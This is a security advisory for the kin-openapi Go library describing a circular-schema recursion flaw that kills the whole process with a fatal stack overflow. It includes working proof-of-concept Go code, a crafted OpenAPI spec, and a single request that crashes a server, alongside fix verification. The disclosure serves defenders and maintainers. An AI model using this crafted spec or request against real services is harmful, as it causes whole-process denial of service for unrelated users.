GitHub Advisoryadvisory · Go
GHSA-g8cf-rcjf-c8cf kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash
HIGH
Official page ↗
- Aliases
- CVE-2026-100354
- Ecosystem
- Go
- Packages
- github.com/getkin/kin-openapi
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-674
- Reviewed
- 2026-10-15
Affected packages
• Go github.com/getkin/kin-openapi: < 0.149.0 → fixed in 0.149.0
Description
Summary
kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error.
The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a fatal stack overflow (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is not a recoverable panic. `recover()` cannot catch it, so `net/http`'s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.
Two independent unguarded recursion sites were confirmed:
1. `openapi3/schema.go` — `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation).
2. `openapi3filter/req_resp_decoder.go` — `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`.
Details
Root Cause
`Schema.validate()` has cycle detection (`openapi3/schema.go:1396`):
```go
func (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {
if slices.Contains(stack, schema) {
return stack, nil
}
// ...
stack = append(stack, schema)
```
The runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema:
```go
func (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {
// ...
for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf
v := item.Value
// no check for item.Value == schema (or any ancestor)
if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle
```
The request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`):
```go
func decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {
if len(schema.Value.AllOf) > 0 {
for _, sr := range schema.Value.AllOf {
value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check
```
Proof of Concept
Environment
• kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)
• Go 1.26.7
Path A: response / direct schema validation (`VisitJSON`)
A schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`:
```go
recursiveSchema := &openapi3.Schema{
Type: &openapi3.Types{"object"},
Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}},
}
recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular
_ = recursiveSchema.Validate(ctx) // accepted, no error
_ = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes
```
Output:
```
Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it
Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
openapi3/schema.go:1951
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
openapi3/schema.go:2309
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
openapi3/schema.go:1981
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
openapi3/schema.go:2309
... (repeats until stack overflow)
```
A `defer recover()` placed around the call did not catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.
Path B: HTTP request validation against a loaded spec (realistic delivery)
A legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`:
```yaml
openapi: '3.0.0'
info: { title: Circular allOf crash PoC, version: '1.0' }
paths:
/test:
get:
parameters:
• name: data
in: query
schema: { $ref: '#/components/schemas/Recursive' }
responses: { '200': { description: OK } }
components:
schemas:
Recursive:
type: object
allOf:
• $ref: '#/components/schemas/Recursive'
properties:
name: { type: string }
```
A single `GET /test?data=x` crashes the whole server process:
```
Validate() ACCEPTED the spec with circular allOf $ref
Sending GET /test?data=x through a real net/http server...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
openapi3filter/req_resp_decoder.go:278
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
openapi3filter/req_resp_decoder.go:278
... (repeats until stack overflow)
```
The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.
Fix verification
Adding stack-based cycle detection to both sites (matching `validate()`'s pattern) eliminated the crash:
• `visitJSON` guard: `VisitJSON()` returned normally instead of crashing.
• `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`:
```
Response: 400 "invalid: parameter \"data\" in query has an error: circular schema reference detected while decoding"
If you see this line, the process survived.
```
Impact
An unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by `net/http`'s per-request recovery, so A:H applies to all host types, unlike a recoverable-panic bug.
Attack surface, in order of exposure:
• Applications that load OpenAPI specs from untrusted or semi-trusted sources (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.
• Applications serving a fixed, trusted spec that happens to contain a circular `allOf`/`anyOf`/`oneOf`. Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.
Related
Alias · CVE (1)
- CVE-2026-100354 kin-openapi is a Go project for handling OpenAPI files. vulnerability
Weakness · CWE (1)
- CWE-674 Uncontrolled Recursion weakness
References
- https://github.com/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf web
- https://nvd.nist.gov/vuln/detail/CVE-2026-100354 advisory
- https://github.com/getkin/kin-openapi/commit/9245cef66c840e27a08409a8a5cd0ee930c5bcff web
- https://github.com/getkin/kin-openapi package
- https://github.com/getkin/kin-openapi/releases/tag/v0.149.0 web